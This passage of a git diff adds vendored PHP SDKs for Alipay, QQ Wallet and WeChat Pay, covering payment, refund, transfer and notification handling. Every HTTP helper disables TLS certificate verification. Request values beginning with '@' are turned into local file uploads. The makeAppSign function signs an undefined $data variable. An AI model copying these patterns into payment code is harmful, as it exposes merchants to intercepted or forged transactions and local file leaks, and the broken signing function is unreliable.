a/includes/vendor/cccyun/alipay-sdk/src/Aop/AopClient.php b/includes/vendor/cccyun/alipay-sdk/src/Aop/AopClient.php new file mode 100644 index 0000000..d654ace --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/Aop/AopClient.php @@ -0,0 +1,485 @@ +build($request); + + $url = $this->gatewayUrl.'?charset='.$this->charset; + $raw = $this->curl($url, $params); + + $response = new AlipayResponse($raw, $request->getApiMethodName()); + + $this->verifyResponse($response); + + return $response; + } + + /** + * 生成用于调用收银台SDK的字符串 + * + * @param AlipayRequest $request + * @return string + * @throws Exception + */ + public function sdkExecute(AlipayRequest $request): string + { + $params = $this->build($request); + + return http_build_query($params); + } + + /** + * 页面提交执行方法 + * + * @param AlipayRequest $request + * @param string $httpmethod + * @return string + * @throws Exception + */ + public function pageExecute(AlipayRequest $request, string $httpmethod = 'POST'): string + { + $params = $this->build($request); + + if (strtoupper($httpmethod) == 'REDIRECT') { + $requestUrl = $this->gatewayUrl.'?'.http_build_query($params); + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $requestUrl); + curl_setopt($ch, CURLOPT_FAILONERROR, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + $response = curl_exec($ch); + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new Exception($errmsg, 0); + } + $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($httpStatusCode == 301 || $httpStatusCode == 302) { + $redirect_url = curl_getinfo($ch, CURLINFO_REDIRECT_URL); + curl_close($ch); + return $redirect_url; + } elseif ($httpStatusCode == 200) { + curl_close($ch); + $response = mb_convert_encoding($response, 'UTF-8', 'GB2312'); + if(preg_match('/([^<]+)<\/div>/i', $response, $matchers)) { + throw new Exception($matchers[1]); + } + } + throw new Exception('返回数据解析失败', $httpStatusCode); + + } elseif (strtoupper($httpmethod) == 'GET') { + return $this->gatewayUrl.'?'.http_build_query($params); + } else { + $url = $this->gatewayUrl.'?charset='.$this->charset; + + $html = "
    "; + foreach ($params as $key => $value) { + if ($this->isEmpty($value)) { + continue; + } + $value = htmlentities($value, ENT_QUOTES | ENT_HTML5); + $html .= ""; + } + $html .= "
    "; + $html .= ""; + + return $html; + } + } + + /** + * 拼接请求参数并签名. + * + * @param AlipayRequest $request + * + * @return array + * @throws Exception + */ + protected function build(AlipayRequest $request): array + { + // 组装系统参数 + $sysParams = []; + $sysParams['app_id'] = $this->appId; + $sysParams['version'] = $this->apiVersion; + $sysParams['alipay_sdk'] = $this->sdkVersion; + + $sysParams['charset'] = $this->charset; + $sysParams['format'] = $this->format; + $sysParams['sign_type'] = $this->signType; + + $sysParams['method'] = $request->getApiMethodName(); + $sysParams['timestamp'] = $request->getTimestamp(); + $sysParams['notify_url'] = $request->getNotifyUrl(); + $sysParams['return_url'] = $request->getReturnUrl(); + + $sysParams['terminal_type'] = $request->getTerminalType(); + $sysParams['terminal_info'] = $request->getTerminalInfo(); + $sysParams['prod_code'] = $request->getProdCode(); + + $sysParams['auth_token'] = $request->getAuthToken(); + $sysParams['app_auth_token'] = $request->getAppAuthToken(); + if (!$this->isEmpty($this->appCertSN) && !$this->isEmpty($this->alipayRootCertSN)) { + $sysParams["app_cert_sn"] = $this->appCertSN; + $sysParams["alipay_root_cert_sn"] = $this->alipayRootCertSN; + } + $sysParams['biz_content'] = $request->getBizContent(); + $sysParams = array_merge($sysParams, get_object_vars($request)); + // 转换可能是数组的参数 + foreach ($sysParams as $key => &$param) { + if (is_array($param) || is_object($param) && !$param instanceof \CURLFile) { + $param = json_encode($param, JSON_UNESCAPED_UNICODE); + } + if (is_null($param)) { + unset($sysParams[$key]); + } + } + + // 签名 + $sysParams['sign'] = $this->generateSign($sysParams, $this->signType); + + return $sysParams; + } + + /** + * 验证返回内容签名 + * + * @param AlipayResponse $response + * @throws Exception + */ + protected function verifyResponse(AlipayResponse $response) + { + $signData = $response->getSignData(); + $sign = $response->getSign(); + if ($this->isEmpty($signData) || $this->isEmpty($sign)) { + throw new AlipayResponseException($response->getData()); + } + $checkResult = $this->rsaPubilcVerify($signData, $sign, $this->signType); + if (!$checkResult) { + if (strpos($signData, '\/') > 0) { + $signData = str_replace('\/', '/', $signData); + $checkResult = $this->rsaPubilcVerify($signData, $sign, $this->signType); + } + if (!$checkResult) { + throw new Exception('对返回数据使用支付宝公钥验签失败'); + } + } + } + + /** + * 异步通知回调验签 + * + * @param $params + * + * @return bool + */ + public function verify($params): bool + { + if (!$params || !isset($params['sign'])) { + return false; + } + $sign = $params['sign']; + unset($params['sign']); + unset($params['sign_type']); + $data = $this->getSignContent($params); + try { + return $this->rsaPubilcVerify($data, $sign, $this->signType); + } catch (Exception $ex) { + return false; + } + } + + /** + * 异步通知回调验签V2 + * + * @param $params + * + * @return bool + */ + public function verifyV2($params): bool + { + if (!$params || !isset($params['sign'])) { + return false; + } + $sign = $params['sign']; + unset($params['sign']); + $data = $this->getSignContent($params); + try { + return $this->rsaPubilcVerify($data, $sign, $this->signType); + } catch (Exception $ex) { + return false; + } + } + + /** + * 将参数数组签名(计算 Sign 值). + * + * @param array $params 参数数组 + * @param string $signType 签名类型 + * + * @return string + * @throws Exception + */ + protected function generateSign(array $params, string $signType = 'RSA2'): string + { + $data = $this->getSignContent($params); + + return $this->rsaPrivateSign($data, $signType); + } + + /** + * 将数组转换为待签名数据. + * + * @param array $params 参数数组 + * + * @return string + */ + protected function getSignContent(array $params): string + { + ksort($params); + unset($params['sign']); + + $stringToBeSigned = ""; + foreach ($params as $k => $v) { + if($v instanceof \CURLFile || $this->isEmpty($v) || substr($v, 0, 1) == '@') continue; + $stringToBeSigned .= "&{$k}={$v}"; + } + return substr($stringToBeSigned, 1); + } + + /** + * 使用应用私钥签名 + * + * @param string $data 待签名数据 + * @param string $signType 签名类型 + * + * @return string + * + * @throws Exception + * @see https://docs.open.alipay.com/291/106118 + */ + protected function rsaPrivateSign(string $data, string $signType = 'RSA2'): string + { + if ($this->isEmpty($this->rsaPrivateKeyFilePath)) { + $priKey = "-----BEGIN RSA PRIVATE KEY-----\n" . + wordwrap($this->rsaPrivateKey, 64, "\n", true) . + "\n-----END RSA PRIVATE KEY-----"; + } else { + $priKey = file_get_contents($this->rsaPrivateKeyFilePath); + } + $res = openssl_get_privatekey($priKey); + if(!$res){ + throw new Exception('签名失败,应用私钥不正确'); + } + + if($signType == 'RSA2'){ + openssl_sign($data, $sign, $res, OPENSSL_ALGO_SHA256); + }else{ + openssl_sign($data, $sign, $res); + } + if(is_resource($res)){ + openssl_free_key($res); + } + return base64_encode($sign); + } + + /** + * 使用支付宝公钥验签 + * + * @param string $data 待验签数据 + * @param string $sign 签名 + * @param string $signType + * @return bool + * @throws Exception + */ + public function rsaPubilcVerify(string $data, string $sign, string $signType = 'RSA2'): bool + { + if ($this->isEmpty($this->rsaPublicKeyFilePath)) { + $pubKey = "-----BEGIN PUBLIC KEY-----\n" . + wordwrap($this->rsaPublicKey, 64, "\n", true) . + "\n-----END PUBLIC KEY-----"; + } else { + $pubKey = file_get_contents($this->rsaPublicKeyFilePath); + } + $res = openssl_get_publickey($pubKey); + if(!$res){ + throw new Exception('验签失败,支付宝公钥不正确'); + } + + if($signType == 'RSA2'){ + $result = openssl_verify($data, base64_decode($sign), $res, OPENSSL_ALGO_SHA256); + }else{ + $result = openssl_verify($data, base64_decode($sign), $res); + } + if(is_resource($res)){ + openssl_free_key($res); + } + return $result === 1; + } + + /** + * 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符. + * + * @param string|null $value + * + * @return bool + */ + protected function isEmpty(?string $value): bool + { + return $value === null || trim($value) === ''; + } + + /** + * 发起 GET/POST 请求. + * + * @param string $url 请求地址 + * @param array|null $postFields POST 数据 + * @return bool|string + * @throws Exception + */ + protected function curl(string $url, array $postFields = null) + { + $ch = curl_init(); + + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_FAILONERROR, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + + if (is_array($postFields) && 0 < count($postFields)) { + $postMultipart = false; + foreach ($postFields as &$value) { + if ($value instanceof \CURLFile) { + $postMultipart = true; + } elseif(substr($value, 0, 1) == '@' && class_exists('CURLFile')) { + $postMultipart = true; + $file = substr($value, 1); + if(file_exists($file)){ + $value = new \CURLFile($file); + } + } + } + curl_setopt($ch, CURLOPT_POST, true); + if($postMultipart){ + curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields); + }else{ + curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postFields)); + } + } + + $response = curl_exec($ch); + + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new Exception($errmsg, 0); + } + + $httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + if ($httpStatusCode != 200) { + curl_close($ch); + throw new Exception($response, $httpStatusCode); + } + + curl_close($ch); + + return $response; + } + + +} diff --git a/includes/vendor/cccyun/qqpay-sdk/LICENSE b/includes/vendor/cccyun/qqpay-sdk/LICENSE new file mode 100644 index 0000000..d7d5fb8 --- /dev/null +++ b/includes/vendor/cccyun/qqpay-sdk/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 消失的彩虹海 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/includes/vendor/cccyun/qqpay-sdk/README.md b/includes/vendor/cccyun/qqpay-sdk/README.md new file mode 100644 index 0000000..b435d2b --- /dev/null +++ b/includes/vendor/cccyun/qqpay-sdk/README.md @@ -0,0 +1,39 @@ +# QQPay SDK for PHP +QQ钱包支付第三方 PHP SDK,基于官方最新版本。 + +### 功能特点 + +- 根据QQ钱包支付最新API开发,相比官方SDK,功能更完善,代码更简洁 +- 支持Composer安装,无需加载多余组件,可应用于任何平台或框架 +- 符合`PSR`标准,你可以各种方便的与你的框架集成 +- 基本完善的PHPDoc,可以随心所欲添加本项目中没有的API接口 + +### 环境要求 + +`PHP` >= 7.1 + +### 使用方法 + +1. Composer 安装。 + + ```bash + composer require cccyun/qqpay-sdk + ``` + +2. 创建配置文件 [`config.php`](./examples/config.php),填写QQ钱包支付商户信息。 + +3. 引入配置文件,构造请求参数,调用PaymentService中的方法发起请求,参考 [`examples/qrpay.php`](./examples/qrpay.php)。 + +4. 更多实例,请移步 [`examples`](examples/) 目录。 + +5. 类功能说明 + + | 类名 | 说明 | + | --------------- | ------------------------------------ | + | PaymentService | 基础支付服务类,所有支付功能都用这个 | + | TransferService | QQ钱包企业付款功能 | + +6. 要对接的API在以上实现类中没有,可根据QQ钱包官方的文档,使用BaseService类中的execute方法直接调用接口。 + + + diff --git a/includes/vendor/cccyun/qqpay-sdk/composer.json b/includes/vendor/cccyun/qqpay-sdk/composer.json new file mode 100644 index 0000000..774da80 --- /dev/null +++ b/includes/vendor/cccyun/qqpay-sdk/composer.json @@ -0,0 +1,27 @@ +{ + "name": "cccyun/qqpay-sdk", + "description": "QQ钱包支付第三方 PHP SDK,基于官方最新版本。", + "type": "library", + "keywords": [ + "qqpay", + "qpay", + "QQ支付" + ], + "license": "MIT", + "minimum-stability": "dev", + "prefer-stable": true, + "require": { + "php": ">=7.1" + }, + "authors": [ + { + "name": "caihong", + "email": "admin@cccyun.cn" + } + ], + "autoload": { + "psr-4": { + "QQPay\\": "src/" + } + } +} diff --git a/includes/vendor/cccyun/qqpay-sdk/src/BaseService.php b/includes/vendor/cccyun/qqpay-sdk/src/BaseService.php new file mode 100644 index 0000000..139c7ce --- /dev/null +++ b/includes/vendor/cccyun/qqpay-sdk/src/BaseService.php @@ -0,0 +1,238 @@ +mchId = $config['mchid']; + $this->apiKey = $config['apikey']; + if (isset($config['appid'])) { + $this->appId = $config['appid']; + } + if (isset($config['appkey'])) { + $this->appKey = $config['appkey']; + } + $this->sslCertPath = $config['sslcert_path']; + $this->sslKeyPath = $config['sslkey_path']; + if (isset($config['op_userid'])) { + $this->opUserId = $config['op_userid']; + } + if (isset($config['op_userpwd'])) { + $this->opUserPwd = $config['op_userpwd']; + } + } + + + /** + * 请求接口并解析返回数据 + * @param $url url + * @param $params 请求参数 + * @param $cert 是否需要证书 + * @return mixed + */ + public function execute($url, $params, $cert = false) + { + $params = array_merge($this->publicParams, $params); + $params['sign'] = $this->makeSign($params); + $xml = $this->array2Xml($params); + $response = $this->curl($url, $xml, $cert); + $result = $this->xml2array($response); + if (isset($result['return_code']) && $result['return_code'] == 'SUCCESS') { + if (isset($result['result_code']) && $result['result_code'] == 'SUCCESS') { + if (isset($result['sign']) && !$this->checkSign($result)) { + throw new \Exception('返回数据验签失败'); + } + return $result; + } + } + throw new QQPayException($result); + } + + /** + * 下载账单接口 + * @param $url url + * @param $params 请求参数 + * @param $cert 是否需要证书 + * @return mixed + */ + public function download($url, $params) + { + $params = array_merge($this->publicParams, $params); + $params['sign'] = $this->makeSign($params); + $xml = $this->array2Xml($params); + $response = $this->curl($url, $xml); + return $response; + } + + /** + * 验签 + * @param $data + * @return bool + */ + protected function checkSign($data) + { + if (!isset($data['sign'])) return false; + + $sign = $this->makeSign($data); + + return $sign === $data['sign']; + } + + /** + * 生成签名 + * @param $data + * @return string + */ + protected function makeSign($data) + { + ksort($data); + $signStr = ''; + foreach ($data as $k => $v) { + if($k != 'sign' && !is_array($v) && !$this->isEmpty($v)){ + $signStr .= $k . '=' . $v . '&'; + } + } + $signStr = trim($signStr, '&') . '&key=' . $this->apiKey; + $sign = md5($signStr); + return strtoupper($sign); + } + + /** + * 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符. + * + * @param string|null $value + * + * @return bool + */ + protected function isEmpty($value) + { + return $value === null || $value === ''; + } + + /** + * 产生随机字符串,不长于32位 + * @param int $length + * @return 产生的随机字符串 + */ + protected function getNonceStr($length = 32) + { + $chars = "abcdefghijklmnopqrstuvwxyz0123456789"; + $str = ""; + for ($i = 0; $i < $length; $i++) { + $str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); + } + return $str; + } + + /** + * 转为XML数据 + * @param array $data 源数据 + * @return string + */ + protected function array2Xml($data) + { + if (!is_array($data)) { + return false; + } + $xml = ''; + foreach ($data as $key => $val) { + $xml .= (is_numeric($val) ? "<{$key}>{$val}" : "<{$key}>"); + } + return $xml . ''; + } + + /** + * 解析XML数据 + * @param string $xml 源数据 + * @return mixed + */ + protected function xml2array($xml) + { + if (!$xml) { + return false; + } + LIBXML_VERSION < 20900 && libxml_disable_entity_loader(true); + return json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA), JSON_UNESCAPED_UNICODE), true); + } + + /** + * 以post方式提交xml到对应的接口url + * @param string $url url + * @param string $xml 需要post的xml数据 + * @param bool $useCert 是否需要证书 + * @param int $second url执行超时时间 + * @return string + */ + protected function curl($url, $xml, $useCert = false, $second = 10) + { + $ch = curl_init(); + $curlVersion = curl_version(); + $ua = "QQPaySDK/1.0 (" . PHP_OS . ") PHP/" . PHP_VERSION . " CURL/" . $curlVersion['version'] . " ". $this->mchId; + + curl_setopt($ch, CURLOPT_TIMEOUT, $second); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_USERAGENT, $ua); + curl_setopt($ch, CURLOPT_HEADER, false); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + if ($useCert) { + if (!file_exists($this->sslCertPath) || !file_exists($this->sslKeyPath)) { + throw new \Exception('商户证书文件不存在'); + } + //使用证书:cert 与 key 分别属于两个.pem文件 + curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM'); + curl_setopt($ch, CURLOPT_SSLCERT, $this->sslCertPath); + curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM'); + curl_setopt($ch, CURLOPT_SSLKEY, $this->sslKeyPath); + } + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $xml); + $data = curl_exec($ch); + if (curl_errno($ch) > 0) { + $errmsg = curl_error($ch); + curl_close($ch); + throw new \Exception($errmsg, 0); + } + curl_close($ch); + return $data; + } +} diff --git a/includes/vendor/cccyun/qqpay-sdk/src/PaymentService.php b/includes/vendor/cccyun/qqpay-sdk/src/PaymentService.php new file mode 100644 index 0000000..819d871 --- /dev/null +++ b/includes/vendor/cccyun/qqpay-sdk/src/PaymentService.php @@ -0,0 +1,317 @@ +publicParams = [ + 'mch_id' => $this->mchId, + 'nonce_str' => $this->getNonceStr(), + ]; + } + + /** + * 统一下单 + * @param $params 下单参数 + * @return mixed + */ + public function unifiedOrder($params) + { + $url = 'https://qpay.qq.com/cgi-bin/pay/qpay_unified_order.cgi'; + if (empty($params['out_trade_no'])) { + throw new \InvalidArgumentException('缺少统一支付接口必填参数out_trade_no'); + } + if (empty($params['body'])) { + throw new \InvalidArgumentException('缺少统一支付接口必填参数body'); + } + if (empty($params['total_fee'])) { + throw new \InvalidArgumentException('缺少统一支付接口必填参数total_fee'); + } + if (empty($params['trade_type'])) { + throw new \InvalidArgumentException('缺少统一支付接口必填参数trade_type'); + } + return $this->execute($url, $params); + } + + /** + * NATIVE支付 + * @param $params 下单参数 + * @return mixed {"code_url":"二维码链接","prepay_id":"预支付会话标识"} + */ + public function nativePay($params) + { + $params['trade_type'] = 'NATIVE'; + return $this->unifiedOrder($params); + } + + /** + * JSAPI支付 + * @param $params 下单参数 + * @return mixed {"tokenId":"预支付会话标识","appInfo":"标记业务及渠道"} + */ + public function jsapiPay($params) + { + $params['trade_type'] = 'JSAPI'; + $result = $this->unifiedOrder($params); + return ['tokenId' => $result['prepay_id'], 'appInfo' => 'appid#' . $this->appId . '|bargainor_id#' . $this->mchId . '|channel#wallet']; + } + + /** + * APP支付 + * @param $params 下单参数 + * @return mixed APP支付json数据 + */ + public function appPay($params) + { + $params['trade_type'] = 'APP'; + $result = $this->unifiedOrder($params); + return $this->getAppParameters($result['prepay_id']); + } + + /** + * 获取APP支付的参数 + * @param $prepay_id 预支付交易会话标识 + * @return array + */ + private function getAppParameters($prepay_id) + { + $params = [ + 'appId' => $this->appId, + 'nonce' => $this->getNonceStr(), + 'tokenId' => $prepay_id, + 'pubAcc' => '', + 'bargainorId' => $this->mchId, + ]; + $params['sig'] = $this->makeAppSign($params); + $params['sigType'] = 'HMAC-SHA1'; + $params['timeStamp'] = time(); + return $params; + } + + /** + * 生成APP支付签名 + * @param $data + * @return string + */ + private function makeAppSign() + { + ksort($data); + $signStr = ''; + foreach ($data as $k => $v) { + $signStr .= $k . '=' . $v . '&'; + } + $signStr = trim($signStr, '&'); + $sign = base64_encode(hash_hmac("sha1", $signStr, $this->appKey.'&', true)); + return $sign; + } + + /** + * 付款码支付 + * @param $params 下单参数 + * @return mixed {"trade_state":"SUCCESS","total_fee":888,"cash_fee":888,"transaction_id":"QQ钱包订单号","out_trade_no":"商户订单号","time_end":"支付完成时间","trade_state_desc":"交易状态描述","openid":"用户标识"} + */ + public function microPay($params) + { + $url = 'https://qpay.qq.com/cgi-bin/pay/qpay_micro_pay.cgi'; + if (empty($params['out_trade_no'])) { + throw new \InvalidArgumentException('缺少付款码支付接口必填参数out_trade_no'); + } + if (empty($params['body'])) { + throw new \InvalidArgumentException('缺少付款码支付接口必填参数body'); + } + if (empty($params['total_fee'])) { + throw new \InvalidArgumentException('缺少付款码支付接口必填参数total_fee'); + } + if (empty($params['auth_code'])) { + throw new \InvalidArgumentException('缺少付款码支付接口必填参数auth_code'); + } + return $this->execute($url, $params); + } + + /** + * 撤销订单 + * @param $out_trade_no 商户订单号 + * @return mixed + */ + public function reverse($out_trade_no) + { + $url = 'https://api.qpay.qq.com/cgi-bin/pay/qpay_reverse.cgi'; + $params = [ + 'out_trade_no' => $out_trade_no, + 'op_user_id' => $this->opUserId, + 'op_user_passwd' => md5($this->opUserPwd) + ]; + return $this->execute($url, $params, true); + } + + /** + * 查询订单,QQ钱包订单号、商户订单号至少填一个 + * @param $transaction_id QQ钱包订单号 + * @param $out_trade_no 商户订单号 + * @return mixed + */ + public function orderQuery($transaction_id = null, $out_trade_no = null) + { + $url = 'https://qpay.qq.com/cgi-bin/pay/qpay_order_query.cgi'; + $params = []; + if ($transaction_id) { + $params['transaction_id'] = $transaction_id; + } elseif ($out_trade_no) { + $params['out_trade_no'] = $out_trade_no; + } + return $this->execute($url, $params); + } + + /** + * 判断订单是否已完成 + * @param $transaction_id QQ钱包订单号 + * @return bool + */ + public function orderQueryResult($transaction_id) + { + try { + $data = $this->orderQuery($transaction_id); + return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND'; + } catch (\Exception $e) { + return false; + } + } + + /** + * 关闭订单 + * @param $out_trade_no 商户订单号 + * @return mixed + */ + public function closeOrder($out_trade_no) + { + $url = 'https://qpay.qq.com/cgi-bin/pay/qpay_close_order.cgi'; + $params = [ + 'out_trade_no' => $out_trade_no + ]; + return $this->execute($url, $params); + } + + /** + * 申请退款 + * @param $params + * @return mixed + */ + public function refund($params) + { + $url = 'https://api.qpay.qq.com/cgi-bin/pay/qpay_refund.cgi'; + if (empty($params['transaction_id']) && empty($params['out_trade_no'])) { + throw new \InvalidArgumentException('out_trade_no、transaction_id至少填一个'); + } + if (empty($params['out_refund_no'])) { + throw new \InvalidArgumentException('out_refund_no参数不能为空'); + } + if (empty($params['refund_fee'])) { + throw new \InvalidArgumentException('refund_fee参数不能为空'); + } + $params += [ + 'op_user_id' => $this->opUserId, + 'op_user_passwd' => md5($this->opUserPwd) + ]; + return $this->execute($url, $params, true); + } + + /** + * 查询退款 + * @param $params + * @return mixed + */ + public function refundQuery($params) + { + $url = 'https://qpay.qq.com/cgi-bin/pay/qpay_refund_query.cgi'; + if (empty($params['transaction_id']) && empty($params['out_trade_no']) && empty($params['out_refund_no']) && empty($params['refund_id'])) { + throw new \InvalidArgumentException('退款查询接口中,out_refund_no、out_trade_no、transaction_id、refund_id四个参数必填一个'); + } + return $this->execute($url, $params); + } + + /** + * 下载对账单 + * @param $params + * @return mixed + */ + public function downloadBill($params) + { + $url = 'https://qpay.qq.com/cgi-bin/sp_download/qpay_mch_statement_down.cgi'; + if (empty($params['bill_date'])) { + throw new \InvalidArgumentException('bill_date参数不能为空'); + } + if (empty($params['bill_type'])) { + throw new \InvalidArgumentException('bill_type参数不能为空'); + } + return $this->download($url, $params); + } + + /** + * 下载资金账单 + * @param $params + * @return mixed + */ + public function downloadFundFlow($params) + { + $url = 'https://qpay.qq.com/cgi-bin/sp_download/qpay_mch_acc_roll.cgi'; + if (empty($params['bill_date'])) { + throw new \InvalidArgumentException('bill_date参数不能为空'); + } + if (empty($params['acc_type'])) { + throw new \InvalidArgumentException('acc_type参数不能为空'); + } + return $this->download($url, $params); + } + + /** + * 支付结果通知 + * @return bool|mixed + */ + public function notify() + { + $xml = file_get_contents("php://input"); + if (empty($xml)) { + throw new \Exception('NO_DATA'); + } + $result = $this->xml2array($xml); + if (!$result) { + throw new \Exception('XML_ERROR'); + } + if (!$this->checkSign($result)) { + throw new \Exception('签名校验失败'); + } + if (!isset($result['transaction_id'])) { + throw new \Exception('缺少订单号参数'); + } + if (!$this->orderQueryResult($result['transaction_id'])) { + throw new \Exception('订单未完成'); + } + return $result; + } + + /** + * 回复通知 + * @param $isSuccess 是否成功 + * @param $msg 失败原因 + */ + public function replyNotify($isSuccess = true, $msg = '') + { + $data = []; + if ($isSuccess) { + $data['return_code'] = 'SUCCESS'; + } else { + $data['return_code'] = 'FAIL'; + $data['return_msg'] = $msg; + } + $xml = $this->array2Xml($data); + echo $xml; + } +} diff --git a/includes/vendor/cccyun/qqpay-sdk/src/QQPayException.php b/includes/vendor/cccyun/qqpay-sdk/src/QQPayException.php new file mode 100644 index 0000000..26eb988 --- /dev/null +++ b/includes/vendor/cccyun/qqpay-sdk/src/QQPayException.php @@ -0,0 +1,39 @@ +res = $res; + if (isset($res['err_code'])) { + $this->errCode = $res['err_code']; + $message = '['.$res['err_code'].']'.$res['err_code_des']; + } elseif (isset($res['return_code'])) { + $message = '['.$res['return_code'].']'.$res['return_msg']; + } else { + $message = '返回数据解析失败'; + } + parent::__construct($message); + } + + public function getResponse() + { + return $this->res; + } + + public function getErrCode() + { + return $this->errCode; + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/qqpay-sdk/src/TransferService.php b/includes/vendor/cccyun/qqpay-sdk/src/TransferService.php new file mode 100644 index 0000000..4a1674d --- /dev/null +++ b/includes/vendor/cccyun/qqpay-sdk/src/TransferService.php @@ -0,0 +1,68 @@ +publicParams = [ + 'mch_id' => $this->mchId, + 'nonce_str' => $this->getNonceStr(), + ]; + } + + /** + * 企业付款到余额 + * @param $out_trade_no 商户订单号 + * @param $uin 收款QQ号码 + * @param $name 用户姓名(填写后校验) + * @param $amount 金额 + * @param $memo 备注 + * @return mixed {"out_trade_no":"商户订单号","transaction_id":"QQ钱包订单号"} + */ + public function transfer($out_trade_no, $uin, $name, $amount, $memo) + { + $url = 'https://api.qpay.qq.com/cgi-bin/epay/qpay_epay_b2c.cgi'; + $params = [ + 'input_charset' => 'UTF-8', + 'out_trade_no' => $out_trade_no, + 'uin' => $uin, + 'fee_type' => 'CNY', + 'total_fee' => $amount, + 'memo' => $memo, + 'check_real_name' => '0' + ]; + if (!empty($name)) { + $params['check_name'] = 'FORCE_CHECK'; + $params['re_user_name'] = $name; + } + $params += [ + 'op_user_id' => $this->opUserId, + 'op_user_passwd' => md5($this->opUserPwd), + 'spbill_create_ip' => $_SERVER['SERVER_ADDR'] + ]; + return $this->execute($url, $params, true); + } + + /** + * 查询企业付款 + * @param $out_trade_no 商户订单号 + * @return mixed {"out_trade_no":"商户订单号","detail_id":"微信付款单号","status":"转账状态","reason":"失败原因","openid":"用户openid","transfer_name":"用户姓名","payment_amount":"付款金额","transfer_time":"转账时间","payment_time":"付款成功时间","desc":"付款备注"} + */ + public function transferQuery($out_trade_no) + { + $url = 'https://qpay.qq.com/cgi-bin/pay/qpay_epay_query.cgi'; + $params = [ + 'out_trade_no' => $out_trade_no + ]; + return $this->execute($url, $params); + } + +} diff --git a/includes/vendor/cccyun/wechatpay-sdk/LICENSE b/includes/vendor/cccyun/wechatpay-sdk/LICENSE new file mode 100644 index 0000000..d7d5fb8 --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 消失的彩虹海 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/includes/vendor/cccyun/wechatpay-sdk/README.md b/includes/vendor/cccyun/wechatpay-sdk/README.md new file mode 100644 index 0000000..9b58cfd --- /dev/null +++ b/includes/vendor/cccyun/wechatpay-sdk/README.md @@ -0,0 +1,44 @@ +# WeChatPay SDK for PHP +微信支付第三方 PHP SDK,基于官方最新版本,包含V2和V3两种接口。 + +### 功能特点 + +- 根据微信支付最新API开发,相比官方SDK,功能更完善,代码更简洁 +- 支持V2和V3两种接口,支持微信支付服务商模式与电商收付通模式 +- 支持Composer安装,无需加载多余组件,可应用于任何平台或框架 +- 符合`PSR`标准,你可以各种方便的与你的框架集成 +- 基本完善的PHPDoc,可以随心所欲添加本项目中没有的API接口 + +### 环境要求 + +`PHP` >= 7.1 + +### 使用方法 + +1. Composer 安装。 + + ```bash + composer require cccyun/wechatpay-sdk + ``` + +2. 创建APIv2配置文件 [`config.php`](./examples/config.php),或APIv3配置文件 [`config.php`](./examples/V3/config.php),填写微信支付商户信息。 + +3. 